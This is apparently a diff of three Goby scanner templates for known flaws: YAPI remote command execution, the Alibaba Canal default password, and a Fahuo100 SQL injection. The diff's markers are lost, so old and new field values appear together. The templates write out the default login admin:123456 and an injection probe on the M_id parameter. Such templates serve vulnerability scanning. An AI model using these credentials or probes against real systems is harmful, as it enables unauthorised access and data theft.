"Description": "YAPI是由去哪儿网移动架构组(简称YMFE一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI发布在公网且开发注册会导致攻击者注册后执行任意命令。",
"Product": "YAPI",
"Homepage": "https://github.com/YMFE/yapi",
"Author": "",
"Impact": "A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://www.secpulse.com/archives/162502.html",
"https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b",
"https://twitter.com/sec715/status/1415484190561161216",
"https://mp.weixin.qq.com/s/zobag3-fIl_0vrc8BrnRjg"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -67,43 +64,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-01 20:34:40",
"GobyVersion": "1.9.310"
}

View File

@ -1,20 +1,18 @@
{
"Name": "Alibaba Canal Default Password",
"Level": "2",
"Name": "alibaba canal default password",
"Level": "3",
"Tags": [
"defaultaccount"
],
"GobyQuery": "title=\"Canal Admin\" || body=\"Canal Admin Login\"",
"Description": "Alibaba Canal is Incremental log parsing based on MySQL database, providing incremental data subscription and consumption.",
"Product": "Alibaba Canal",
"GobyQuery": "(title=\"Canal Admin\"|body=\"Canal Admin Login\")",
"Description": "alibaba canal has a default password problem. Attackers can log in through admin:123456",
"Product": "Remote attacker can use this default to control the system",
"Homepage": "https://github.com/alibaba/canal",
"Author": "",
"Impact": "Alibaba Canal has a default password vulnerability, an attacker can use the administrator account admin:123456 login.",
"Recommendation": "Modify Alibaba Canal administrator's default password.",
"References": [
"https://github.com/alibaba/canal/wiki/ClientAdapter"
],
"HasExp": true,
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [],
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -130,6 +128,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-10-31 17:23:05",
"GobyVersion": "1.8.302"
}

View File

@ -1,25 +1,19 @@
{
"Name": "Fahuo100 SQL Injection CNVD-2021-30193",
"Level": "2",
"Name": "fahuo100_sql_injection_CNVD_2021_30193",
"Level": "3",
"Tags": [
"SQL Injection"
],
"GobyQuery": "header=\"Cache-Control: no-store, no-cache\"",
"Description": "Fahuo100 virtual goods automatic delivery system is a powerful virtual goods automatic delivery system/article paid reading system.",
"Product": "Fahuo100",
"Description": "发货100 M_id参数存在SQL注入漏洞 攻击者通过漏洞可以获取数据库敏感信息",
"Product": "发货100",
"Homepage": "https://www.fahuo100.cn/",
"Author": "",
"Impact": "Fahuo100 M_id SQL Injection",
"Recommendation": "",
"Author": "gobysec@gmail.com",
"Impact": "",
"Recommandation": "<p>undefined</p>",
"References": [
"https://www.cnvd.org.cn/flaw/show/CNVD-2021-30193"
"https://gobies.org/"
],
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
@ -27,7 +21,7 @@
"method": "GET",
"uri": "/?M_id=1'&type=product",
"follow_redirect": true,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -54,6 +48,6 @@
"SetVariable": []
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-03 22:27:28",
"GobyVersion": "1.8.268"
}